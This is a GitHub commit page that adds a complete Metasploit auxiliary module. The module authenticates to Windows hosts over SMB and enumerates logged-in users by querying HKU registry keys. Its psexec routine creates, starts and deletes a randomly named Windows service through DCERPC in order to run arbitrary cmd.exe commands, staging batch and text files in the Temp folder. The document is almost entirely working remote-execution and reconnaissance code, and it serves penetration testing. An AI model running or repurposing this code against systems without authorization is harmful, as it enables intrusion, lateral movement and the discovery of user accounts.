Skip to content

Commit 9cff72a

Browse files
author
jvazquez-r7
committed
Merge branch 'loggedin_users' of https://github.com/R3dy/metasploit-framework into R3dy-loggedin_users
2 parents 86cbb67 + a1136be commit 9cff72a

File tree

1 file changed

+345
-0
lines changed

1 file changed

+345
-0
lines changed
Lines changed: 345 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,345 @@
1+
#!/usr/bin/env ruby
2+
3+
require 'msf/core'
4+
class Metasploit3 < Msf::Auxiliary
5+
6+
# Exploit mixins should be called first
7+
include Msf::Exploit::Remote::SMB
8+
include Msf::Exploit::Remote::SMB::Authenticated
9+
include Msf::Auxiliary::Report
10+
include Msf::Auxiliary::Scanner
11+
include Msf::Exploit::Remote::DCERPC
12+
13+
# Aliases for common classes
14+
SIMPLE = Rex::Proto::SMB::SimpleClient
15+
XCEPT = Rex::Proto::SMB::Exceptions
16+
CONST = Rex::Proto::SMB::Constants
17+
18+
def initialize
19+
super(
20+
'Name' => 'SMB - Query Logged On Users',
21+
'Description' => %Q{
22+
This module authenticates to a remote host or hosts and determines which users are
23+
currently logged in. It uses reg.exe to query the HKU base registry key.
24+
},
25+
'Author' =>
26+
[
27+
'Royce Davis @R3dy__ <rdavis[at]accuvant.com>' # Metasploit module
28+
],
29+
'References' => [
30+
['URL', 'http://www.pentestgeek.com/2012/11/05/finding-logged-in-users-metasploit-module/']
31+
],
32+
'License' => MSF_LICENSE
33+
)
34+
35+
register_options([
36+
OptString.new('SMBSHARE', [true, 'The name of a writeable share on the server', 'C$']),
37+
OptString.new('USERNAME', [false, 'The name of a specific user to search for', '']),
38+
OptString.new('RPORT', [true, 'The Target port', 445]),
39+
], self.class)
40+
41+
deregister_options('RHOST')
42+
end
43+
44+
45+
46+
def peer
47+
return "#{rhost}:#{rport}"
48+
end
49+
50+
51+
52+
# This is the main controller function
53+
def run_host(ip)
54+
cmd = "C:\\WINDOWS\\SYSTEM32\\cmd.exe"
55+
bat = "C:\\WINDOWS\\Temp\\#{Rex::Text.rand_text_alpha(16)}.bat"
56+
text = "\\WINDOWS\\Temp\\#{Rex::Text.rand_text_alpha(16)}.txt"
57+
smbshare = datastore['SMBSHARE']
58+
59+
#Try and authenticate with given credentials
60+
begin
61+
connect
62+
smb_login
63+
rescue StandardError => autherror
64+
print_error("#{peer} - #{autherror}")
65+
return
66+
end
67+
68+
keys = get_hku(ip, smbshare, cmd, text, bat)
69+
if !keys
70+
cleanup_after(smbshare, ip, cmd, text, bat)
71+
disconnect
72+
return
73+
end
74+
keys.each do |key|
75+
check_hku_entry(key, ip, smbshare, cmd, text, bat)
76+
end
77+
cleanup_after(smbshare, ip, cmd, text, bat)
78+
disconnect
79+
end
80+
81+
82+
83+
# This method runs reg.exe query HKU to get a list of each key within the HKU master key
84+
# Returns an array object
85+
def get_hku(ip, smbshare, cmd, text, bat)
86+
begin
87+
# Try and query HKU
88+
command = "#{cmd} /C echo reg.exe QUERY HKU ^> C:#{text} > #{bat} & #{cmd} /C start cmd.exe /C #{bat}"
89+
out = psexec(command)
90+
output = get_output(ip, smbshare, text)
91+
cleanout = Array.new
92+
output.each_line { |line| cleanout << line.chomp if line.include?("HKEY") && line.split("-").size == 8 && !line.split("-")[7].include?("_")}
93+
return cleanout
94+
rescue StandardError => hku_error
95+
print_error("#{peer} - Error runing query against HKU. #{hku_error.class}. #{hku_error}")
96+
return nil
97+
end
98+
end
99+
100+
101+
102+
# This method will retrive output from a specified textfile on the remote host
103+
def get_output(ip, smbshare, file)
104+
begin
105+
simple.connect("\\\\#{ip}\\#{smbshare}")
106+
outfile = simple.open(file, 'ro')
107+
output = outfile.read
108+
outfile.close
109+
simple.disconnect("\\\\#{ip}\\#{smbshare}")
110+
return output
111+
rescue StandardError => output_error
112+
print_error("#{peer} - Error getting command output. #{output_error.class}. #{output_error}.")
113+
return false
114+
end
115+
end
116+
117+
118+
119+
def report_user(username)
120+
report_note = {
121+
:host => rhost,
122+
:proto => 'tcp',
123+
:port => rport,
124+
:type => 'loggedin users',
125+
:data => username
126+
}
127+
end
128+
129+
130+
131+
# This method checks a provided HKU entry to determine if it is a valid SID
132+
# Either returns nil or returns the name of a valid user
133+
def check_hku_entry(key, ip, smbshare, cmd, text, bat)
134+
begin
135+
key = key.split("HKEY_USERS\\")[1].chomp
136+
command = "#{cmd} /C echo reg.exe QUERY \"HKU\\#{key}\\Volatile Environment\" ^> C:#{text} > #{bat} & #{cmd} /C start cmd.exe /C #{bat}"
137+
out = psexec(command)
138+
if output = get_output(ip, smbshare, text)
139+
domain, username, dnsdomain, homepath, logonserver = "","","","",""
140+
# Run this IF loop and only check for specified user if datastore['USERNAME'] is specified
141+
if datastore['USERNAME'].length > 0
142+
output.each_line do |line|
143+
username = line if line.include?("USERNAME")
144+
domain = line if line.include?("USERDOMAIN")
145+
end
146+
if domain.split(" ")[2].to_s.chomp + "\\" + username.split(" ")[2].to_s.chomp == datastore['USERNAME']
147+
print_good("#{datastore['USERNAME']} is logged into #{peer}")
148+
report_user(datastore['USERNAME'])
149+
end
150+
return
151+
end
152+
output.each_line do |line|
153+
domain = line if line.include?("USERDOMAIN")
154+
username = line if line.include?("USERNAME")
155+
dnsdomain = line if line.include?("USERDNSDOMAIN")
156+
homepath = line if line.include?("HOMEPATH")
157+
logonserver = line if line.include?("LOGONSERVER")
158+
end
159+
if username.length > 0 && domain.length > 0
160+
user = domain.split(" ")[2].to_s + "\\" + username.split(" ")[2].to_s
161+
print_good("#{peer} - #{user}")
162+
report_user(user)
163+
elsif logonserver.length > 0 && homepath.length > 0
164+
uname = homepath.split('\\')[homepath.split('\\').size - 1]
165+
if uname.include?(".")
166+
uname = uname.split(".")[0]
167+
end
168+
user = logonserver.split('\\\\')[1].chomp.to_s + "\\" + uname.to_s
169+
print_good("#{peer} - #{user}")
170+
report_user(user)
171+
else
172+
if username = query_session(smbshare, ip, cmd, text, bat)
173+
user = dnsdomain.split(" ")[2].split(".")[0].to_s + "\\" + username.to_s
174+
print_good("#{peer} - #{user}")
175+
report_user(user)
176+
else
177+
print_status("#{peer} - Unable to determine user information for user: #{key}")
178+
end
179+
end
180+
else
181+
print_status("#{peer} - Could not determine logged in users")
182+
end
183+
rescue StandardError => check_error
184+
print_error("#{peer} - Error checking reg key. #{check_error.class}. #{check_error}")
185+
return check_error
186+
end
187+
end
188+
189+
190+
191+
# Cleanup module. Gets rid of .txt and .bat files created in the WINDOWS\Temp directory
192+
def cleanup_after(smbshare, ip, cmd, text, bat)
193+
begin
194+
# Try and do cleanup command
195+
cleanup = "#{cmd} /C del C:#{text} & del #{bat}"
196+
print_status("Executing cleanup on host: #{peer}")
197+
out = psexec(cleanup)
198+
rescue StandardError => cleanuperror
199+
print_error("Unable to processes cleanup commands: #{cleanuperror}")
200+
return cleanuperror
201+
end
202+
end
203+
204+
205+
206+
# Method trys to use "query session" to determine logged in user
207+
def query_session(smbshare, ip, cmd, text, bat)
208+
begin
209+
command = "#{cmd} /C echo query session ^> C:#{text} > #{bat} & #{cmd} /C start cmd.exe /C #{bat}"
210+
out = psexec(command)
211+
userline = ""
212+
if output = get_output(ip, smbshare, text)
213+
output.each_line { |line| userline << line if line[0] == '>' }
214+
else
215+
return nil
216+
end
217+
return userline.split(" ")[1].chomp
218+
rescue
219+
return nil
220+
end
221+
end
222+
223+
224+
225+
# This code was stolen straight out of psexec.rb. Thanks very much HDM and all who contributed to that module!!
226+
# Instead of uploading and runing a binary. This method runs a single windows command fed into the #{command} paramater
227+
def psexec(command)
228+
229+
simple.connect("IPC$")
230+
231+
handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"])
232+
vprint_status("#{peer} - Binding to #{handle} ...")
233+
dcerpc_bind(handle)
234+
vprint_status("#{peer} - Bound to #{handle} ...")
235+
236+
vprint_status("#{peer} - Obtaining a service manager handle...")
237+
scm_handle = nil
238+
stubdata =
239+
NDR.uwstring("\\\\#{rhost}") +
240+
NDR.long(0) +
241+
NDR.long(0xF003F)
242+
begin
243+
response = dcerpc.call(0x0f, stubdata)
244+
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
245+
scm_handle = dcerpc.last_response.stub_data[0,20]
246+
end
247+
rescue ::Exception => e
248+
print_error("#{peer} - Error: #{e}")
249+
return false
250+
end
251+
252+
servicename = Rex::Text.rand_text_alpha(11)
253+
displayname = Rex::Text.rand_text_alpha(16)
254+
holdhandle = scm_handle
255+
svc_handle = nil
256+
svc_status = nil
257+
258+
stubdata =
259+
scm_handle +
260+
NDR.wstring(servicename) +
261+
NDR.uwstring(displayname) +
262+
263+
NDR.long(0x0F01FF) + # Access: MAX
264+
NDR.long(0x00000110) + # Type: Interactive, Own process
265+
NDR.long(0x00000003) + # Start: Demand
266+
NDR.long(0x00000000) + # Errors: Ignore
267+
NDR.wstring( command ) +
268+
NDR.long(0) + # LoadOrderGroup
269+
NDR.long(0) + # Dependencies
270+
NDR.long(0) + # Service Start
271+
NDR.long(0) + # Password
272+
NDR.long(0) + # Password
273+
NDR.long(0) + # Password
274+
NDR.long(0) # Password
275+
begin
276+
vprint_status("#{peer} - Creating the service...")
277+
response = dcerpc.call(0x0c, stubdata)
278+
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
279+
svc_handle = dcerpc.last_response.stub_data[0,20]
280+
svc_status = dcerpc.last_response.stub_data[24,4]
281+
end
282+
rescue ::Exception => e
283+
print_error("#{peer} - Error: #{e}")
284+
return false
285+
end
286+
287+
vprint_status("#{peer} - Closing service handle...")
288+
begin
289+
response = dcerpc.call(0x0, svc_handle)
290+
rescue ::Exception
291+
end
292+
293+
vprint_status("#{peer} - Opening service...")
294+
begin
295+
stubdata =
296+
scm_handle +
297+
NDR.wstring(servicename) +
298+
NDR.long(0xF01FF)
299+
300+
response = dcerpc.call(0x10, stubdata)
301+
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
302+
svc_handle = dcerpc.last_response.stub_data[0,20]
303+
end
304+
rescue ::Exception => e
305+
print_error("#{peer} - Error: #{e}")
306+
return false
307+
end
308+
309+
vprint_status("#{peer} - Starting the service...")
310+
stubdata =
311+
svc_handle +
312+
NDR.long(0) +
313+
NDR.long(0)
314+
begin
315+
response = dcerpc.call(0x13, stubdata)
316+
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
317+
end
318+
rescue ::Exception => e
319+
print_error("#{peer} - Error: #{e}")
320+
return false
321+
end
322+
323+
vprint_status("#{peer} - Removing the service...")
324+
stubdata =
325+
svc_handle
326+
begin
327+
response = dcerpc.call(0x02, stubdata)
328+
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
329+
end
330+
rescue ::Exception => e
331+
print_error("#{peer} - Error: #{e}")
332+
end
333+
334+
vprint_status("#{peer} - Closing service handle...")
335+
begin
336+
response = dcerpc.call(0x0, svc_handle)
337+
rescue ::Exception => e
338+
print_error("#{peer} - Error: #{e}")
339+
end
340+
341+
select(nil, nil, nil, 1.0)
342+
simple.disconnect("IPC$")
343+
return true
344+
end
345+
end

0 commit comments

Comments
 (0)